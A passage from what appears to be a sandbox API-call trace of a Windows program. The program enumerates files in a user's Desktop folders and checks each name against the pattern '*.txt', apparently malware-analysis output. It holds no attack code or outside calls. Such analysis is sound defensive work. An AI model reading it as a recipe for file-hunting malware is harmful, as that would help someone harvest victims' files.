lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.238] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*" [0146.238] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882cf0 [0146.238] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.239] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.239] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.239] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.239] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.239] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.239] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.239] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.239] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.239] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.239] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.239] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.239] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.239] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.239] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.239] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.239] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9341b3e0, ftCreationTime.dwHighDateTime=0x1d7ad29, ftLastAccessTime.dwLowDateTime=0xe4634550, ftLastAccessTime.dwHighDateTime=0x1d7ae40, ftLastWriteTime.dwLowDateTime=0xe4634550, ftLastWriteTime.dwHighDateTime=0x1d7ae40, nFileSizeHigh=0x0, nFileSizeLow=0x25cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsOVvpw5D.jpg", cAlternateFileName="JSOVVP~1.JPG")) returned 1 [0146.239] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.239] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.239] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.240] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.240] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.240] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.240] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.240] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", lpUsedDefaultChar=0x0) returned 70 [0146.240] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23627d8 [0146.240] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.240] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.240] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.240] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.240] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*.txt") returned 0 [0146.240] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23627d8 | out: hHeap=0x2360000) returned 1 [0146.240] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926ae940, ftCreationTime.dwHighDateTime=0x1d7a591, ftLastAccessTime.dwLowDateTime=0xaf78d1f0, ftLastAccessTime.dwHighDateTime=0x1d7ab3b, ftLastWriteTime.dwLowDateTime=0xaf78d1f0, ftLastWriteTime.dwHighDateTime=0x1d7ab3b, nFileSizeHigh=0x0, nFileSizeLow=0x15bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SZTd4bP.mp4", cAlternateFileName="")) returned 1 [0146.240] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.241] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.241] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.241] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.241] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.241] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.241] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0146.241] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x44) returned 0x33400d0 [0146.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x33400d0, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", lpUsedDefaultChar=0x0) returned 68 [0146.241] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362d58 [0146.241] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.241] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.241] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.241] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.241] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*.txt") returned 0 [0146.241] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.241] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 1 [0146.241] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.242] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.242] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.242] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.242] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.242] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.242] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.242] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x49) returned 0x2362d58 [0146.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x2362d58, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", lpUsedDefaultChar=0x0) returned 73 [0146.242] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362eb8 [0146.242] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.242] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.242] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.242] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.242] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*.txt") returned 0 [0146.242] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362eb8 | out: hHeap=0x2360000) returned 1 [0146.243] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 0 [0146.243] FindClose (in: hFindFile=0x882cf0 | out: hFindFile=0x882cf0) returned 1 [0146.243] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0146.243] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x2360560 [0146.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x2360560, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpUsedDefaultChar=0x0) returned 56 [0146.243] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0146.243] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.243] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.243] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.243] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.243] PathMatchSpecW (pszFile="Mhr9", pszSpec="*.txt") returned 0 [0146.243] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.243] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 1 [0146.243] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.244] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.244] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.244] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.244] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.244] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="W89TW0.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg" [0146.244] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604e8 [0146.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.244] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x33400d0 [0146.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", cchWideChar=62, lpMultiByteStr=0x33400d0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\W89TW0.jpg", lpUsedDefaultChar=0x0) returned 62 [0146.244] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x23611c0 [0146.244] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.244] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, 